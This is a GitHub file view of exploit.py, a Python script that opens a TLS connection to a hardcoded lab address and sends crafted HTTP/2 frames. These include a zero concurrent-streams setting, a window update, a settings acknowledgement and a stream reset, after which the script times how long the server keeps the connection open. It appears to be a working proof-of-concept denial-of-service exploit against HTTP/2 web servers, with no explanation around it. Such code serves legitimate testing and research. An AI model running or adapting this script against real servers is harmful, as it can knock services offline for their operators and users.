-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
101 lines (78 loc) · 2.79 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import h2.connection
import h2.events
import h2.settings
import socket
import ssl
from hyperframe.frame import SettingsFrame, WindowUpdateFrame, Frame, Flag
import logging, sys, time
import sslkeylog, os
target_ip = '192.168.56.109'
target_port = '443'
PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
l = logging.Logger(name='test')
ol = logging.StreamHandler(sys.stdout)
ol.setLevel(logging.DEBUG)
l.addHandler(ol)
def get_http2_ssl_context():
sslkeylog.set_keylog(os.environ.get('SSLKEYLOGFILE'))
ctx = ssl.create_default_context(purpose=ssl.Purpose.SERVER_AUTH)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.options |= ssl.OP_NO_COMPRESSION
ctx.options |= (
ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3 | ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1
)
ctx.set_alpn_protocols(["h2"])
return ctx
def negotiate_tls(tcp_conn, context):
tls_conn = context.wrap_socket(tcp_conn, server_hostname=target_ip)
negotiated_protocol = tls_conn.selected_alpn_protocol()
if negotiated_protocol != "h2":
raise RuntimeError("Didn't negotiate HTTP/2!")
return tls_conn
def send_request(tls_conn, h2_conn, stream_id):
headers = [
(':method', 'GET'),
(':path', '/'),
(':authority', target_ip),
(':scheme', 'https'),
]
h2_conn.send_headers(stream_id, headers, end_stream=True)
tls_conn.sendall(h2_conn.data_to_send())
def main():
# Create a socket and wrap it with SSL/TLS
sock = socket.create_connection((target_ip, target_port))
tls_context = get_http2_ssl_context()
tls_conn = negotiate_tls(sock, tls_context)
config = h2.connection.H2Configuration(logger=l) #enable log
h2_conn = h2.connection.H2Connection(config=config)
# stream 0
h2_conn._data_to_send += PREAMBLE # connection preface
h2_conn.update_settings({SettingsFrame.MAX_CONCURRENT_STREAMS: 0}) # SETTINGS Frame
wf = WindowUpdateFrame(0) # WINDOW_UPDATE frame
wf.window_increment = 100
h2_conn._data_to_send += wf.serialize()
tls_conn.sendall(h2_conn.data_to_send())
# stream 1
send_request(tls_conn, h2_conn, 1) # Request a web page
time.sleep(1) # wait a little to get the response from the web server
# Send a SETTINGS Frame with the ACK flag
sf = SettingsFrame(0)
sf.flags.add('ACK')
h2_conn._data_to_send += sf.serialize()
tls_conn.sendall(h2_conn.data_to_send())
# Reset Stream 1
h2_conn.reset_stream(1)
tls_conn.sendall(h2_conn.data_to_send())
# Measure the connection duration
start = time.time()
while True:
data = tls_conn.recv(1024)
print(data)
if not data:
break
end = time.time()
print("Server closed conn after {}s".format(end-start))
tls_conn.close()
if __name__ == '__main__':
main()